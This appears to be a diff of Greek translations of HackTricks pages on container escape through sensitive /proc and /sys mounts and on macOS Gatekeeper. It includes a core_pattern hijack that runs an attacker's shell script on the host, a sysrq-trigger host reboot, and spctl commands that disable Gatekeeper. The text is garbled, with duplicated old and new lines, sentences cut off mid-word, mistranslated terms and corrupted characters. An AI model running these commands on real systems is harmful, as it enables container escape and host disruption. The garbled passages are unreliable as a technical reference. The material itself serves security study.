Η εκθεσιοποίηση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν δεν ρυθμιστούν σωστά ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορεί να οδηγήσουν σε διαφυγή του container, τροποποίηση του host ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη προσάρτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης του βασισμένη σε διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο.
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε δυνητική ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## Ευπάθειες procfs
### `/proc/sys`
Αυτός ο κατάλογος επιτρέπει την πρόσβαση για την τροποποίηση μεταβλητών πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που αφορούν:
Αυτός ο κατάλογος επιτρέπει την πρόσβαση για τροποποίηση μεταβλητών πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που αφορούν:
#### **`/proc/sys/kernel/core_pattern`**
@ -31,7 +35,7 @@
* **Παράδειγμα Δοκιμής και Εκμετάλλευσης**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Ναι # Δοκιμή πρόσβασης εγγραφής
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Δοκιμή πρόσβασης εγγραφής
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Ορισμός προσαρμοσμένου χειριστή
sleep 5 && ./crash & # Ενεργοποίηση χειριστή
@ -39,7 +43,7 @@ sleep 5 && ./crash & # Ενεργοποίηση χειριστή
#### **`/proc/sys/kernel/modprobe`**
* Λεπτομερώς στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Λεπτομερείς πληροφορίες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα module, καλείται για τη φόρτωση πυρήνα modules.
* **Παράδειγμα Έλεγχου Πρόσβασης**:
@ -50,12 +54,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
#### **`/proc/sys/vm/panic_on_oom`**
* Αναφέρεται στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας κάνει panic ή ενεργοποιεί τον OOM killer όταν συμβεί μια κατάσταση OOM.
* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας κάνει panic ή καλεί τον OOM killer όταν συμβεί μια κατάσταση OOM.
#### **`/proc/sys/fs`**
* Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων.
* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνησης υπηρεσίας κατά του host.
* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνητικής υπηρεσίας κατά του host.
#### **`/proc/sys/fs/binfmt_misc`**
@ -69,7 +73,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
#### **`/proc/config.gz`**
* Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα εάν το `CONFIG_IKCONFIG_PROC` είναι ενεργοποιημένο.
* Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν το `CONFIG_IKCONFIG_PROC` είναι ενεργοποιημένο.
* Χρήσιμο για τους επιτιθέμενους για την εντοπισμό ευπαθειών στον τρέχοντα πυρήνα.
#### **`/proc/sysrq-trigger`**
@ -88,23 +92,23 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του φιλοξενη
#### **`/proc/kallsyms`**
* Καταχωρεί σύμβολα πυρήνα που εξάγονται και τις διευθύνσεις τους.
* Καταχωρεί σύμβολα πυρήνα και τις διευθύνσεις τους.
* Βασικό για την ανάπτυξη εκμετάλλευσης πυρήνα, ειδικά για την υπέρβαση του KASLR.
* Οι πληροφορίες διεύθυνσης περιορίζονται με το `kptr_restrict` ορισμένο σε `1` ή `2`.
* Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
* Αλληλεπιδρά με τη συσκευή μνήμης πυρήνα `/dev/mem`.
* Επικοινωνεί με τη συσκευή μνήμης πυρήνα `/dev/mem`.
* Ιστορικά ευάλωτο σε επιθέσεις ανόδου προνομίων.
* Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
* Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή πυρήνα ELF.
* Η ανάγνωση μπορεί να διαρρεύσει το περιεχόμενο μνήμης του φιλοξενητή και άλλων containers.
* Η μεγάλη μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κολλήματα λογισμικού.
* Λεπτομερείς οδηγίες στο [Απορρόφηση /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
* Η ανάγνωση μπορεί να διαρρεύσει τα περιεχόμενα μνήμης του φιλοξενητή και άλλων containers.
* Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή καταρρεύσεις λογισμικού.
* Λεπτομερής χρήση στο [Απορρόφηση /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
@ -114,7 +118,7 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του φιλοξενη
#### **`/proc/mem`**
* Εναλλακτική διεπαφή για το `/dev/mem`, αντιπροσωπεύοντας τη φυσική μνήμη.
* Επιτρέπει ανάγνωση και εγγραφή, η τροποποίηση όλης της μνήμης απαιτεί την ανάλυση ε
* Ε
#### **`/sys/class/thermal`**
* Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας ενδεχομένως επιθέσεις DoS ή φυσικές ζημιές.
@ -130,10 +134,34 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του φιλοξενη
#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
* Εκθέτει διεπαφές για την αλληλεπίδραση με τις μεταβλητές EFI στη μνήμη NVRAM.
* Η εσφαλμένη ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε υπολογιστές φορητούς που δεν εκκινούν ή σε μη εκκινούμενες μηχανές φιλοξενίας.
* Εκθέτει διεπαφές για την αλληλεπίδραση με μεταβλητές EFI στη μνήμη NVRAM.
* Η εσφαλμένη ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε υπολογιστές φορητούς που δεν εκκινούν ή σε μη εκκινήσιμες μηχανές φιλοξενίας.
#### **`/sys/kernel/debug`**
* Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
* Ιστορικό προβλημάτων ασφάλειας λόγω της μη περιορισμένης φύσης του.
### Αναφορές
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Κατανόηση και Ενίσχυση των Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Κατάχρηση Προνομιούχων και Μη Προνομιούχων Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,37 +1,47 @@
# macOS Gatekeeper / Quarantine / XProtect
# macOS Gatekeeper / Καραντίνα / XProtect
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
Το **Gatekeeper** είναι μια λειτουργία ασφαλείας που αναπτύχθηκε για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να εξασφαλίζει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με τον **έλεγχο του λογισμικού** που ένας χρήστης κατεβάζει και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
Το **Gatekeeper** είναι μια λειτουργία ασφαλείας που αναπτύχθηκε για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να εξασφαλίζει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με τον τρόπο της **επικύρωσης του λογισμικού** που ένας χρήστης κατεβάζει και προσπαθεί να ανοίξει από **πηγές έξω από το App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
Ο βασικός μηχανισμός του Gatekeeper βρίσκεται στη διαδικασία του **έλεγχου**. Ελέγχει εάν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από αναγνωρισμένο προγραμματιστή**, εξασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, ελέγχει εάν το λογισμικό έχει **επικυρωθεί από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει τροποποιηθεί μετά την επικύρωση.
Η κύρια μηχανή του Gatekeeper βρίσκεται στη διαδικασία της **επαλήθευσης**. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από αναγνωρισμένο προγραμματιστή**, εξασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, ελέγχει εάν το λογισμικό έχει **επικυρωθεί από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει τροποποιηθεί μετά την επικύρωση.
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη με το **ζήτημα έγκρισης από τον χρήστη** για το άνοιγμα του κατεβασμένου λογισμικού για πρώτη φορά. Αυτός ο μηχανισμός ασφαλείας βοηθά να αποτραπεί η ακούσια εκτέλεση πιθανώς επιβλαβούς εκτελέσιμου κώδικα που ο χρήστης μπορεί να έχει παρερμηνεύσει ως ακίνδυνο αρχείο δεδομένων.
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη με το να **ζητά από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτό το μέτρο προστασίας βοηθά στην αποτροπή των χρηστών από το να εκτελέσουν κατά λάθος πιθανώς επικίνδυνο εκτελέσιμο κώδικα που θα μπορούσαν να έχουν παρεξηγήσει ως ακίνδυνο αρχείο δεδομένων.
### Υπογραφές Εφαρμογών
Οι υπογραφές εφαρμογών, γνωστές επίσης ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της ασφάλειας της Apple. Χρησιμοποιούνται για να **επαληθεύσουν την ταυτότητα του συγγραφέα του λογισμικού** (του προγραμματιστή) και να εξασφαλίσουν ότι ο κώδικας δεν έχει τροποποιηθεί από την τελευταία φορά που υπογράφηκε.
Οι υπογραφές εφαρμογών, επίσης γνωστές ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για τον **έλεγχο της ταυτότητας του συγγραφέα του λογισμικοώ** (του προγραμματιστή) και για τη διασφάλιση ότι ο κώδικας δεν έχει τροποποιηθεί από την τελευταία υπογραφή.
Ας δούμε πώς λειτουργεί:
Έτσι λειτουργεί:
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που η Apple εκδίδει στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή.
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας έναν ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού κατακερματισμού όλων των τμημάτων της εφαρμογής και την κρυπτογράφηση αυτού του κατακερματισμού με το ιδιωτικό κλειδί του προγραμματιστή.
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, που περιέχει το αντίστοιχο δημόσιο κλειδί.
3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτό με το αποκρυπτογραφημένο hash. Εά
3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει τον κατακερματισμό. Στη συνέχεια, υπολογίζει ξανά τον κατακερματισμό με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτόν με τον αποκρυπτογραφημένο κατακερματισμό. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την τελευταία υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
Οι υπογραφές εφαρμογών είναι ένα ουσιώδες μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με ένα πιστοποιητικό που έχει εκδώσει η Apple σε έναν γνωστό προγραμματιστή και ο κώδικας δεν έχει τροποποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
Από το macOS Catalina και μετά, το **Gatekeeper ελέγχει επίσης εάν η εφαρμογή έχει υποβληθεί σε επικύρωση** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφαλείας. Η διαδικασία επικύρωσης ελέγχει την εφαρμογή για γνωστά θέματα ασφαλείας και κακόβουλο κώδικα, και αν αυτοί οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που το Gatekeeper μπορεί να επαληθεύσει.
#### Έλεγχος Υπογραφών
Όταν ελέγχετε κάποιο **δείγμα κακόβουλου λογισμικού**, πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί να έχει ήδη **σχέση** με **κακόβουλο λογισμικό**.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -48,36 +58,32 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
```
### Επικύρωση
Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από πιθανά επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να συγχέεται με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιαδήποτε πιθανά προβλήματα με την υπογραφή του κώδικα.
Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από ενδεχόμενο επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να μπερδευτεί με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που ελέγχει προσεκτικά το υποβαλλόμενο λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιωνδήποτε πιθανών προβλημάτων με την υπογραφή κώδικα.
Εάν το λογισμικό **περάσει** αυτόν τον έλεγχο χωρίς να προκαλέσει ανησυχίες, η Υπηρεσία Επικύρωσης δημιουργεί ένα εισιτήριο επικύρωσης. Ο προγραμματιστής είναι τότε υποχρεωμένος να **συνδέσει αυτό το εισιτήριο στο λογισμικό του**, μια διαδικασία που ονομάζεται 'συνδεσμοποίηση'. Επιπλέον, το εισιτήριο επικύρωσης δημοσιεύεται επίσης στο διαδίκτυο, όπου το Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να το ανακτήσει.
Αν το λογισμικό **περάσει** αυτόν τον έλεγχο χωρίς να προκαλέσει ανησυχίες, η Υπηρεσία Επικύρωσης δημιουργεί ένα εισιτήριο επικύρωσης. Στη συνέχεια, ο προγραμματιστής πρέπει να **επισυνάψει αυτό το εισιτήριο στο λογισμικό του**, μια διαδικασία που είναι γνωστή ως 'συρματοστέφανο.' Επιπλέον, το εισιτήριο επικύρωσης δημοσιεύεται επίσης στο διαδίκτυο όπου το Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να το ανακτήσει.
Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου επικύρωσης - είτε συνδεδεμένου με το εκτελέσιμο είτε βρεθεί στο διαδίκτυο - **ενημερώνει το Gatekeeper ότι το λογισμικό έχει επικυρωθεί από την Apple**. Ως αποτέλεσμα, το Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο αρχικό παράθυρο εκκίνησης, που υποδεικνύει ότι το λογισμικό έχει υποβληθεί σε έλεγχο για κακόβουλο περιεχόμενο από την Apple. Με αυτήν τη διαδικασία, ενισχύεται η εμπιστοσύνη των χρηστών στην ασφάλεια του λογισμικού που εγκαθιστούν ή εκτελούν στα συστήματά τους.
Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου επικύρωσης - είτε συρματοστεφανωμένου στο εκτελέσιμο είτε βρίσκεται online - **ενημερώνει το Gatekeeper ότι το λογισμικό έχει επικυρωθεί από την Apple**. Ως αποτέλεσμα, το Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο διάλογο αρχικής εκκίνησης, υποδεικνύοντας ότι το λογισμικό έχει υποβληθεί σε έλεγχους για κακόβουλο περιεχόμενο από την Apple. Με αυτήν τη διαδικασία, ενισχύεται η εμπιστοσύνη του χρήστη στην ασφάλεια του λογισμικοϋ που εγκαθιστά ή εκτελεί στα συστήματά του.
### Απαρίθμηση του GateKeeper
Το GateKeeper είναι τόσο **πολλαπλά στοιχεία ασφαλείας** που αποτρέπουν την εκτέλεση μη αξιόπιστων εφαρμογών, όσο και **ένα από τα στοιχεία**.
Το GateKeeper αποτελείται τόσο από **πολλαπλά στοιχεία ασφαλείας** που εμποδίζουν την εκτέλεση μη αξιόπιστων εφαρμογών όσο και από **ένα από τα στοιχεία**.
Είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με:
```bash
# Check the status
spctl --status
```
{% hint style="danger" %}
Σημείωση ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνα**, όχι σε κάθε αρχείο.
Σημειώστε ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνας**, όχι σε κάθε αρχείο.
{% endhint %}
Ο GateKeeper θα ελέγξει αν σύμφωνα με τις **προτιμήσεις και την υπογραφή** μια δυαδική μπορεί να εκτελεστεί:
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτήν τη βάση δεδομένων ως ριζικός χρήστης με:
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτή τη βάση δεδομένων ως ριζικός χρήστης με:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -91,12 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Παρατηρήστε πώς ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από τους εντοπισμένους προγραμματιστές**.\
Σημειώστε ότι ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από εντοπισμένους προγραμματιστές**.\
Εάν **τροποποιήσετε** αυτήν τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**.
Υπάρχουν επίσης χιλιάδες κανόνες τύπου GKE:
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -105,17 +109,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
Αυτά είναι τα hashes που προέρχονται από τα **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** και **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
Ή μπορείτε να αναφέρετε τις προηγούμενες πληροφορίες με:
Ή μπορείτε να καταχωρίσετε τις προηγούμενες πληροφορίες με:
```bash
sudo spctl --list
```
Οι επιλογές **`--master-disable`** και **`--global-disable`** του **`spctl`** θα απενεργοποιήσουν εντελώς αυτούς τους έλεγχους υπογραφής:
```bash
# Disable GateKeeper
spctl --global-disable
@ -125,19 +125,15 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
Όταν είναι πλήρως ενεργοποιημένο, θα εμφανιστεί μια νέα επιλογή:
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
Είναι δυνατόν να **ελεγχθεί εάν μια εφαρμογή θα επιτραπεί από το GateKeeper** με:
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
Είναι δυνατόν να **ελεγχθεί αν μια εφαρμογή θα επιτραπεί από το GateKeeper** με:
```bash
spctl --assess -v /Applications/App.app
```
Είναι δυνατόν να προστεθούν νέοι κανόνες στο GateKeeper για να επιτραπεί η εκτέλεση συγκεκριμένων εφαρμογών με:
Είναι δυνατόν να προστεθούν νέοι κανόνες στο GateKeeper για να επιτρέπεται η εκτέλεση συγκεκριμένων εφαρμογϽν.
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -152,29 +148,27 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
### Απομόνωση Αρχείων
### Αρχεία Καραντίνας
